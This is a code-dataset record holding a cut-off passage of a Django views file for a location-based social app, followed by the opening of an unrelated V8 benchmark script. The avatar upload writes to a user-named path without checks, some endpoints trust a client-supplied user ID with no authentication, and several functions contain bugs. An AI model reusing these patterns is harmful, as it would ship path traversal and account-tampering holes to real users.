5,\n region=region,\n signup_ua=request.META.get('HTTP_USER_AGENT', ''),\n signup_ip=request.META.get('REMOTE_ADDR', ''),\n signup_time=signup_time,\n meet_num=0,\n area_num=area_num,\n location_name=location_name\n )\n user.save()\n\n # save bills\n for tag in interest_tags:\n bill = models.EnergyStoneBill(\n user=user,\n amount=5,\n create_time=int(time.time()),\n info=models.EnergyStoneBill.COMPLETE_PROFILE_EARN,\n detail=str(tag['id']) + ':' + str(tag['content_id'])\n )\n bill.save()\n\n # insert interest tags\n for tag in interest_tags:\n # check interest tag id\n try:\n tag_model = models.InterestTag.objects.get(pk=tag['id'])\n except models.InterestTag.DoesNotExist:\n continue\n\n try:\n tag_content_model = models.InterestTagContent.objects.get(pk=tag['content_id'])\n except models.InterestTagContent.DoesNotExist:\n continue\n\n user_tag_model = models.UserInterestTag(\n user=user,\n tag=tag_model,\n content=tag_content_model\n )\n user_tag_model.save()\n\n # 添加userposition信息\n\n # if area_num != -1: 注册的时候不卡-1否则有可能出问题\n\n # 1.存储UserPosition\n new_user_position = models.UserPosition(\n user=user,\n area_num=area_num,\n location_name=location_name,\n longitude=0.0,\n latitude=0.0,\n create_time=signup_time\n )\n new_user_position.save()\n\n # 2.去寻找同区域的相遇用户\n meet_user_list = models.User.objects.filter(area_num=area_num).exclude(pk=user.pk)\n if len(meet_user_list) > 0:\n for other in meet_user_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other,\n area_num=area_num,\n location_name=location_name,\n meet_time=signup_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=signup_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n user.meet_num = F('meet_num') + len(meet_user_list)\n user.save()\n\n phone_verify_model.used = True\n phone_verify_model.save()\n\n body = response('ok', 'signup success', {\n 'user': user_model_to_dict(user)\n })\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method', {})\n return HttpResponse(body)\n\n\ndef phone_signin(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n phone = data.get('phone', '')\n password = data.get('password', '')\n\n try:\n phone_model = models.User.objects.get(phone=phone)\n check = phone_model.check_password(password)\n body = ''\n if check:\n phone_model.signin_time = util.getStrTime(datetime.now())\n phone_model.signin_ua = request.META.get('HTTP_USER_AGENT', '')\n phone_model.signin_ip = request.META.get('REMOTE_ADDR', '')\n phone_model.save()\n\n body = response('ok', 'signin success', user_model_to_dict(phone_model))\n else:\n body = response('user:wrong_password', 'wrong password', {})\n return HttpResponse(body)\n except models.User.DoesNotExist:\n body = response('phone:not_exists', 'user not exists', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method', {})\n return HttpResponse(body)\n\n# 位置更新 ---> 能不能做到区域变化才上传区域编号\n'''\n 1.实现过时的相遇功能! ---> 改代码\n 每个新的位置上传过来要做的事情:\n 判断这次上传的数据的个数\n if len == 1:\n (1)更改UserPosition最新的leave_time\n (2)储存用户这个位置信息\n (3)去同一个区域中找相遇的用户\n'''\n\ndef report_position(request):\n if request.method == 'POST':\n POST = (request.body).decode('utf-8')\n\n try:\n zhinput.all_exists(POST, ('datas',))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + \":not_exists\", e.key + \" missing\", {})\n return HttpResponse(body)\n\n try:\n datas = zhinput.as_str2json(POST, 'datas')\n except zhinput.ZHInputNotJSONString as e:\n body = response(e.key + ':not_json', e.key + 'is not json', {})\n return HttpResponse(body)\n\n # 按照时间从大到小排序\n datas = sorted(datas, key=lambda data: data['timestamp'])\n numDatas = len(datas)\n\n if numDatas == 1:\n try:\n zhinput.all_exists(datas[0], (\n 'user_id', 'area_num', 'location_name',\n 'longitude', 'latitude', 'timestamp'\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n user_id = zhinput.as_int(datas[0], 'user_id')\n area_num = zhinput.as_int(datas[0], 'area_num')\n location_name = zhinput.as_string(datas[0], 'location_name')\n longitude = zhinput.as_float(datas[0], 'longitude')\n latitude = zhinput.as_float(datas[0], 'latitude')\n timestamp = zhinput.as_float(datas[0], 'timestamp')\n except zhinput.ZHInputNotInt as e:\n body = response(e.key + ':not_int', e.key + ' is not int', {})\n return HttpResponse(body)\n except zhinput.ZHInputNotFloat as e:\n body = response(e.key + ':not_float', e.key + ' is not float', {})\n return HttpResponse(body)\n\n try:\n if area_num != -1:\n user = models.User.objects.get(pk=user_id)\n\n create_time = util.timestamp2Str(timestamp)\n\n # 1.更新最新一条UserPosition的leave_time\n\n # 判断是否有之前的位置记录信息\n user_position_cursor = models.UserPosition.objects.filter(\n user=user,\n leave_time__isnull=True\n ).order_by('-create_time')\n past_user_position = user_position_cursor[0]\n past_user_position.leave_time = create_time\n past_user_position.save()\n\n # 2.存储新的UserPosition\n new_user_position = models.UserPosition(\n user=user,\n area_num=area_num,\n location_name=location_name,\n longitude=longitude,\n latitude=latitude,\n create_time=create_time\n )\n new_user_position.save()\n\n # 3.去寻找同区域的相遇用户\n meet_user_list = models.User.objects.filter(area_num=area_num).exclude(pk=user_id)\n if len(meet_user_list) > 0:\n for other in meet_user_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other,\n area_num=area_num,\n location_name=location_name,\n meet_time=create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n # user这两项有待商榷\n user.area_num = area_num\n user.location_name = location_name\n\n user.meet_num = F('meet_num') + len(meet_user_list)\n user.save()\n\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n body = response('ok', 'report position success', {})\n return HttpResponse(body)\n else:\n for index, data in enumerate(datas):\n if index == len(datas) - 1:\n try:\n zhinput.all_exists(data, (\n 'user_id', 'area_num', 'location_name',\n 'longitude', 'latitude', 'timestamp'\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n user_id = zhinput.as_int(data, 'user_id')\n area_num = zhinput.as_int(data, 'area_num')\n location_name = zhinput.as_string(data, 'location_name')\n longitude = zhinput.as_float(data, 'longitude')\n latitude = zhinput.as_float(data, 'latitude')\n timestamp = zhinput.as_float(data, 'timestamp')\n except zhinput.ZHInputNotInt as e:\n body = response(e.key + ':not_int', e.key + ' is not int', {})\n return HttpResponse(body)\n except zhinput.ZHInputNotFloat as e:\n body = response(e.key + ':not_float', e.key + ' is not float', {})\n return HttpResponse(body)\n\n try:\n if area_num != -1:\n user = models.User.objects.get(pk=user_id)\n\n create_time = util.timestamp2Str(timestamp)\n\n # 1.更新最新一条UserPosition的leave_time\n user_position_cursor = models.UserPosition.objects.filter(\n user=user,\n leave_time__isnull=True\n ).order_by('-create_time')\n past_user_position = user_position_cursor[0]\n past_user_position.leave_time = create_time\n past_user_position.save()\n\n # 2.存储新的UserPosition\n new_user_position = models.UserPosition(\n user=user,\n area_num=area_num,\n location_name=location_name,\n longitude=longitude,\n latitude=latitude,\n create_time=create_time\n )\n new_user_position.save()\n\n # 3.去寻找同区域的相遇用户(这个区间段在该区域的用户)\n '''\n 这里要分两种情况\n 1.查找create_time < create_time and leave_time > create_time 的人 ---> 用create_time创建UserMeet\n 2.查找create_time > create_time and create_time < leave_time 的人 ---> 用leave_time创建UserMeet\n '''\n # 情况一\n before_meet_user_list = models.User.objects.filter(\n Q(fkUserPosition2User__area_num=area_num),\n Q(fkUserPosition2User__create_time__lt=past_user_position.create_time),\n Q(fkUserPosition2User__leave_time__isnull=True) | Q(\n fkUserPosition2User__leave_time__gt=past_user_position.create_time)\n ).exclude(pk=user_id).distinct()\n\n if len(before_meet_user_list) > 0:\n for other in before_meet_user_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other,\n area_num=area_num,\n location_name=location_name,\n meet_time=past_user_position.create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=past_user_position.create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n user.meet_num = F('meet_num') + len(before_meet_user_list)\n user.save()\n\n # 情况二\n after_user_position_list = models.UserPosition.objects.filter(\n area_num=area_num,\n create_time__gt=past_user_position.create_time,\n create_time__lt=past_user_position.leave_time\n ).exclude(user__pk=user_id).select_related()\n\n if len(after_user_position_list) > 0:\n for other in after_user_position_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other.user,\n area_num=area_num,\n location_name=location_name,\n meet_time=other.create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other.user,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=other.create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other.user\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other.user,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n user.meet_num = F('meet_num') + len(after_user_position_list)\n user.save()\n\n # 进行最新位置的相遇\n meet_user_list = models.User.objects.filter(area_num=area_num).exclude(pk=user_id)\n if len(meet_user_list) > 0:\n for other in meet_user_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other,\n area_num=area_num,\n location_name=location_name,\n meet_time=create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n # user这两项有待商榷\n user.area_num = area_num\n user.location_name = location_name\n\n user.meet_num = F('meet_num') + len(meet_user_list)\n user.save()\n\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n body = response('ok', 'report position success', {})\n return HttpResponse(body)\n\n else:\n try:\n zhinput.all_exists(data, (\n 'user_id', 'area_num', 'location_name',\n 'longitude', 'latitude', 'timestamp'\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n user_id = zhinput.as_int(data, 'user_id')\n area_num = zhinput.as_int(data, 'area_num')\n location_name = zhinput.as_string(data, 'location_name')\n longitude = zhinput.as_float(data, 'longitude')\n latitude = zhinput.as_float(data, 'latitude')\n timestamp = zhinput.as_float(data, 'timestamp')\n except zhinput.ZHInputNotInt as e:\n body = response(e.key + ':not_int', e.key + ' is not int', {})\n return HttpResponse(body)\n except zhinput.ZHInputNotFloat as e:\n body = response(e.key + ':not_float', e.key + ' is not float', {})\n return HttpResponse(body)\n\n try:\n if area_num != -1:\n user = models.User.objects.get(pk=user_id)\n\n create_time = util.timestamp2Str(timestamp)\n\n # 1.更新最新一条UserPosition的leave_time\n user_position_cursor = models.UserPosition.objects.filter(\n user=user,\n leave_time__isnull=True\n ).order_by('-create_time')\n past_user_position = user_position_cursor[0]\n past_user_position.leave_time = create_time\n past_user_position.save()\n\n # 2.存储新的UserPosition\n new_user_position = models.UserPosition(\n user=user,\n area_num=area_num,\n location_name=location_name,\n longitude=longitude,\n latitude=latitude,\n create_time=create_time\n )\n new_user_position.save()\n\n # 3.去寻找同区域的相遇用户(这个区间段在该区域的用户)\n '''\n 这里要分两种情况\n 1.查找create_time < create_time and leave_time > create_time 的人 ---> 用create_time创建UserMeet\n 2.查找create_time > create_time and create_time < leave_time 的人 ---> 用leave_time创建UserMeet\n '''\n # 情况一\n before_meet_user_list = models.User.objects.filter(\n Q(fkUserPosition2User__area_num=area_num),\n Q(fkUserPosition2User__create_time__lt=past_user_position.create_time),\n Q(fkUserPosition2User__leave_time__isnull=True) | Q(\n fkUserPosition2User__leave_time__gt=past_user_position.create_time)\n ).exclude(pk=user_id).distinct()\n\n if len(before_meet_user_list) > 0:\n for other in before_meet_user_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other,\n area_num=area_num,\n location_name=location_name,\n meet_time=past_user_position.create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=past_user_position.create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n user.meet_num = F('meet_num') + len(before_meet_user_list)\n user.save()\n\n # 情况二\n after_user_position_list = models.UserPosition.objects.filter(\n area_num=area_num,\n create_time__gt=past_user_position.create_time,\n create_time__lt=past_user_position.leave_time\n ).exclude(user__pk=user_id).select_related()\n\n if len(after_user_position_list) > 0:\n for other in after_user_position_list:\n # (1)创建新的user的UserMeet\n user_meet = models.UserMeet(\n user=user,\n other=other.user,\n area_num=area_num,\n location_name=location_name,\n meet_time=other.create_time,\n meet_distance=util.getMeetDistance()\n )\n user_meet.save()\n\n other_meet = models.UserMeet(\n user=other.user,\n other=user,\n area_num=area_num,\n location_name=location_name,\n meet_time=other.create_time,\n meet_distance=util.getMeetDistance()\n )\n other_meet.save()\n\n # (2)更新UserMeetHistory\n user_meet_histroy = models.UserMeetHistory.objects.get_or_create(\n user=user,\n other=other.user\n )\n user_meet_histroy[0].meet_num = F('meet_num') + 1\n user_meet_histroy[0].save()\n\n other_meet_history = models.UserMeetHistory.objects.get_or_create(\n user=other.user,\n other=user\n )\n other_meet_history[0].meet_num = F('meet_num') + 1\n other_meet_history[0].save()\n\n user.meet_num = F('meet_num') + len(after_user_position_list)\n user.save()\n\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n body = response('ok', 'report position success', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method' , {})\n return HttpResponse(body)\n\n# 这个貌似不需要了 TODO\ndef post_device_token(request):\n try:\n zhinput.all_exists(request.POST, (\n 'device_token',\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n user_id = zhinput.as_int(request.POST, 'user_id')\n device_token = zhinput.as_string(request.POST, 'device_token')\n except zhinput.ZHInputNotInt as e:\n body = response(e.key + ':not_int', e.key + ' is not int', {})\n return HttpResponse(body)\n\n user_in_token = None\n\n try:\n user = models.User.objects.get(pk=user_id)\n user_in_token = user\n except models.User.DoesNotExist:\n pass\n token_model = models.DeviceToken(\n token=device_token,\n user=user_in_token,\n create_time=int(time.time())\n )\n token_model.save()\n\n body = response('ok', 'post device token success', {})\n return HttpResponse(body)\n\n\n# TODO\ndef get_other_user_profile(request):\n user_id = request.GET.get('user_id', -1)\n target_id = request.GET.get('target_id', -1)\n\n try:\n user = models.User.objects.get(pk=user_id)\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n try:\n target = models.User.objects.get(pk=target_id)\n except models.User.DoesNotExist:\n body = response('target:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n # cost energy stone\n if user.energy_stone < 10:\n body = response('energy_stone:not_enough', 'not enough energy stone', {})\n return HttpResponse(body)\n\n cost_bill = models.EnergyStoneBill(\n user=user,\n amount=-10,\n create_time=int(time.time()),\n info=models.EnergyStoneBill.CONTACT_COST\n )\n cost_bill.save()\n\n user.energy_stone -= 10\n\n earn_bill = models.EnergyStoneBill(\n user=target,\n amount=10,\n create_time=int(time.time()),\n info=models.EnergyStoneBill.CONTACT_EARN\n )\n earn_bill.save()\n\n target.energy_stone += 10\n\n body = response('ok', 'get user info success', {\n 'target': model_to_dict(target)\n })\n return HttpResponse(body)\n\n\ndef update_password(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n phone = data.get('phone', '')\n password = data.get('password', '')\n\n try:\n phone_verify_cursor = models.PhoneVerify.objects.filter(\n phone=phone,\n verify_time__gt=0,\n used=False,\n sms_type=models.PhoneVerify.PASSWORD\n )\n phone_verify_model = phone_verify_cursor[0]\n except IndexError:\n body = response('phone:not_verified', 'phone is not verified', {})\n return HttpResponse(body)\n\n try:\n user_model = models.User.objects.get(phone=phone)\n user_model.pw_salt = models.User.generate_pw_salt()\n user_model.password = models.User.encrypt(user_model.pw_salt.decode(), password)\n user_model.save()\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user doesnt exist', {})\n return HttpResponse(body)\n\n phone_verify_model.used = True\n phone_verify_model.save()\n\n body = response('ok', 'upadte password success', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method' , {})\n return HttpResponse(body)\n\n# 这下面的都没改 TODO\ndef update_profile(request):\n keys = (\n 'user_id', 'avatar_url', 'nickname', 'gender', 'birthday',\n 'clazz', 'block_same_class', 'hometown',\n 'contact', 'love_status', 'prefer_gender',\n 'introduction'\n )\n\n try:\n zhinput.all_exists(request.POST, ('user_id', ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n data = zhinput.filter_by_list(request.POST, keys)\n try:\n user_id = zhinput.as_int(data, 'user_id')\n except zhinput.ZHInputNotInt as e:\n body = response('user_id:not_valid', 'user id not valid', {})\n return HttpResponse(body)\n\n try:\n data['birthday'] = zhinput.as_int(data, 'birthday')\n data['gender'] = zhinput.as_enum(data, 'gender', ('male', 'female'))\n data['block_same_class'] = zhinput.as_bool(data, 'block_same_class')\n data['love_status'] = zhinput.as_enum(data, 'love_status', ('signle', 'married', 'loving'))\n data['prefer_gender'] = zhinput.as_enum(data, 'prefer_gender', ('male', 'female', 'both'))\n except zhinput.ZHInputException as e:\n body = response(e.key + ':not_valid', e.key + ' not valid', {})\n return HttpResponse(body)\n\n try:\n user_model = models.User.objects.get(pk=user_id)\n for d in data:\n setattr(user_model, d, data[d])\n\n user_model.save()\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user not exists', {})\n return HttpResponse(body)\n\n body = response('ok', 'update profile success', {\n 'user': user_model_to_dict(user_model)\n })\n return HttpResponse(body)\n\n\ndef interest_tags_view(request):\n if request.method == 'POST':\n return update_interest_tags(request)\n elif request.method == 'GET':\n return get_interest_tags(request)\n return HttpResponseBadRequest()\n\n\ndef update_interest_tags(request):\n try:\n zhinput.all_exists(request.POST, (\n 'user_id', 'interest_tags'\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' not exists', {})\n return HttpResponse(body)\n\n user_id = zhinput.as_string(request.POST, 'user_id')\n\n try:\n user_model = models.User.objects.get(pk=user_id)\n except models.User.DoesNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' not exists', {})\n return HttpResponse(body)\n\n try:\n interest_tags = zhinput.as_json(request.POST, 'interest_tags')\n except zhinput.ZHInputNotJSONString as e:\n body = response(e.key + ':not_exists', e.key + ' not exists', {})\n return HttpResponse(body)\n\n # update interest_tags\n for tag in interest_tags:\n try:\n interest_tag_model = models.InterestTag.objects.get(pk=tag['id'])\n\n try:\n user_interest_tag_model = models.UserInterestTag.objects.get(tag=interest_tag_model)\n # update one\n try:\n interest_tag_content_model = models.InterestTagContent.objects.get(pk=tag['content_id'])\n except models.InterestTagContent.DoesNotExist:\n continue\n user_interest_tag_model['content'] = interest_tag_content_model\n user_interest_tag_model.save()\n except models.UserInterestTag.DoesNotExist:\n # tag not exists, then insert new one\n new_user_interest_tag_model = models.UserInterestTag(\n user=user_model,\n tag=interest_tag_model,\n content=tag['content_id']\n )\n new_user_interest_tag_model.save()\n\n # insert new bill\n bill = models.EnergyStoneBill(\n user=user_model,\n amonut=5,\n create_time=int(time.time()),\n info=models.EnergyStoneBill.COMPLETE_PROFILE_EARN,\n detail=str(tag['id']) + ':' + str(tag['content_id'])\n )\n bill.save()\n except models.InterestTag.DoesNotExist:\n pass\n\n\ndef get_all_user_message(request):\n user_id = request.GET.get('user_id', '')\n try:\n user_model = models.User.objects.get(pk=user_id)\n message = models.Message.objects.filter(\n user=user_model\n )\n result = []\n for msg in message:\n result.append(model_to_dict(msg))\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user not exists', {})\n return HttpResponse(body)\n\n body = response('ok', 'get message success', {\n 'messages': result\n })\n return HttpResponse(body)\n\n# 格式化时间 ---> 根据当前时间得到今天的0点时间和明天的0点时间\n'''\ntm_year :年\ntm_mon :月(1-12)\ntm_mday :日(1-31)\ntm_hour :时(0-23)\ntm_min :分(0-59)\ntm_sec :秒(0-59)\ntm_wday :星期几(0-6,0表示周日)\ntm_yday :一年中的第几天(1-366)\ntm_isdst :是否是夏令时(默认为-1)\n'''\ndef today_ts_range():\n now_ts = time.time()\n now = time.localtime(now_ts)\n start = time.struct_time((\n now.tm_year,\n now.tm_mon,\n now.tm_mday,\n 0, 0, 0,\n now.tm_wday,\n now.tm_yday,\n now.tm_isdst\n ))\n start_ts = time.mktime(start)\n return (start_ts, start_ts + 86400)\n\n\ndef get_today_user(request):\n try:\n zhinput.all_exists(request.GET, ('user_id', ))\n user_id = zhinput.as_int(request.GET, 'user_id')\n except zhinput.ZHInputNotInt as e:\n body = response(e.key + ':not_int', e.key + 'is not int', {})\n return HttpResponse(body)\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', 'user_id missing', {})\n return HttpResponse(body)\n\n try:\n user_model = models.User.objects.get(pk=user_id)\n today_range = today_ts_range()\n today_user_cursor = models.TodayUser.objects.filter(\n user=user_model,\n create_time__gt=today_range[0],\n create_time__lt=today_range[1]\n ).order_by('-create_time')\n neweast = today_user_cursor[0]\n target_user_model = neweast.other\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user not exists', {})\n return HttpResponse(body)\n except IndexError:\n body = response('user:no_recommended', 'no new user recommended now', {})\n return HttpResponse(body)\n\n body = response('ok', 'get recommand user success', {\n 'user': user_model_to_dict(target_user_model)\n })\n return HttpResponse(body)\n\n\nclass UploadFileForm(forms.Form):\n filename = forms.CharField(max_length=128)\n file = forms.FileField()\n\n\ndef upload_avatar(request):\n try:\n filename = zhinput.as_string(request.POST, 'filename', min_length=1)\n abspath = os.path.abspath(os.path.join(config.AVATAR_FOLDER, filename))\n\n with open(abspath, 'wb+') as f:\n for chunk in request.FILES['file'].chunks():\n f.write(chunk)\n except zhinput.ZHInputStringTooShort as e:\n body = response(e.key + ':empty', e.key + 'should not be empty', {})\n return HttpResponse(body)\n except Exception as e:\n print(e)\n body = response('avatar:save_failed', 'save avatar failed', {})\n return HttpResponse(body)\n\n body = response('ok', 'save avatar success', {})\n return HttpResponse(body)\n\n\ndef get_all_interest_tags(request):\n interest_tag_cursor = models.InterestTag.objects.all()\n\n tags = []\n for interest_tag_model in interest_tag_cursor:\n interest_tag_content_cursor = models.InterestTagContent.objects.filter(\n tag=interest_tag_model\n )\n contents = []\n for content_model in interest_tag_content_cursor:\n contents.append(model_to_dict(content_model))\n tdict = model_to_dict(interest_tag_model)\n tdict['contents'] = contents\n tags.append(tdict)\n\n body = response('ok', 'get all interest tags', {\n 'tags': tags\n })\n return HttpResponse(body)\n\n\ndef get_interest_tags(request):\n try:\n zhinput.all_exists(request.GET, ('user_id', ))\n user_id = zhinput.as_string(request.GET, 'user_id')\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n user_model = models.User.objects.get(pk=user_id)\n except models.User.DoesNotExist:\n body = response('user:not_exists', 'user not exists', {})\n return HttpResponse(body)\n\n user_interest_cursor = models.UserInterestTag.objects.filter(\n user=user_model\n )\n\n result = []\n for interest_tag in user_interest_cursor:\n tdict = model_to_dict(interest_tag)\n tdict['tag'] = model_to_dict(interest_tag.tag)\n tdict['content'] = model_to_dict(interest_tag.content)\n result.append(tdict)\n\n body = response('ok', 'get interest tag success', {\n 'tags': result\n })\n return HttpResponse(body)\n\n# 新加的方法\nfrom django.shortcuts import render,render_to_response\ndef UserSignUp(request):\n return render(request,'addUser.html')\n\ndef phone(request):\n return render(request,'phone.html')\n\ndef login(request):\n return render(request,'login.html')\n\ndef MyPush(request):\n pass\n\ndef post_position(request):\n return render(request,'post_position.html')\n","repo_name":"ruitaoH/gravity","sub_path":"backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":54968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7441195196","text":"from __future__ import print_function\n\nimport os\nfrom optparse import OptionParser\nimport subprocess\nimport sys\n\nif __name__ == '__main__':\n parser = OptionParser(usage=__doc__)\n parser.add_option(\"-r\", \"--runs\", dest=\"runs\",\n help=\"Override the default number of runs for the benchmark.\")\n parser.add_option(\"-x\", \"--extra-arguments\", dest=\"extra_args\",\n help=\"Pass these extra arguments to d8.\")\n parser.add_option(\"-v\", \"--verbose\", action=\"store_true\", dest=\"verbose\",\n help=\"See more output about what magic csuite is doing.\")\n (opts, args) = parser.parse_args()\n\n if len(args) < 3:\n print('not enough arguments')\n sys.exit(1)\n\n suite = args[0]\n mode = args[1]\n\n if suite not in ['octane', 'sunspider', 'kraken']:\n print('Suite must be octane, sunspider or kraken. Aborting.')\n sys.exit(1)\n\n if mode != 'baseline' and mode != 'compare':\n print('mode must be baseline or compare. Aborting.')\n sys.exit(1)\n\n # Set up paths.\n d8_path = os.path.abspath(args[2])\n if not os.path.exists(d8_path):\n print(d8_path + \" is not valid.\")\n sys.exit(1)\n\n csuite_path = os.path.dirname(os.path.abspath(__file__))\n if not os.path.exists(csuite_path):\n print(\"The csuite directory is invalid.\")\n sys.exit(1)\n\n benchmark_py_path = os.path.join(csuite_path, \"benchmark.py\")\n if not os.path.exists(benchmark_py_path):\n print(\"Unable to find benchmark.py in \" + csuite_path \\\n + \". Aborting.\")\n sys.exit(1)\n\n compare_baseline_py_path = os.path.join(csuite_path,\n \"compare-baseline.py\")\n\n if not os.path.exists(compare_baseline_py_path):\n print(\"Unable to find compare-baseline.py in \" + csuite_path \\\n + \". Aborting.\")\n sys.exit(1)\n\n benchmark_path = os.path.abspath(os.path.join(csuite_path, \"../data\"))\n if not os.path.exists(benchmark_path):\n print(\"I can't find the benchmark data directory. Aborting.\")\n sys.exit(1)\n\n # Gather the remaining arguments into a string of extra args for d8.\n extra_args = \"\"\n if opts.extra_args:\n extra_args = opts.extra_args\n\n if suite == \"octane\":\n runs = 10\n suite_path = os.path.join(benchmark_path, \"octane\")\n cmd = \"run.js\"\n elif suite == \"kraken\":\n runs = 80\n suite_path = os.path.join(benchmark_path, \"kraken\")\n cmd = os.path.join(csuite_path, \"run-kraken.js\")\n else:\n runs = 100\n suite_path = os.path.join(benchmark_path, \"sunspider\")\n cmd = os.path.join(csuite_path, \"sunspider-standalone-driver.js\")\n\n if opts.runs:\n if (float(opts.runs) / runs) < 0.6:\n print(\"Normally, %s requires %d runs to get stable results.\" \\\n % (suite, runs))\n runs = int(opts.runs)\n\n if opts.verbose:\n print(\"Running and averaging %s %d times.\" % (suite, runs))\n\n # Ensure output directory is setup\n output_path_base = os.path.abspath(os.getcwd())\n output_path = os.path.join(output_path_base, \"_results\")\n output_file = os.path.join(output_path, \"master_\" + suite)\n if not os.path.exists(output_path):\n if opts.verbose:\n print(\"Creating 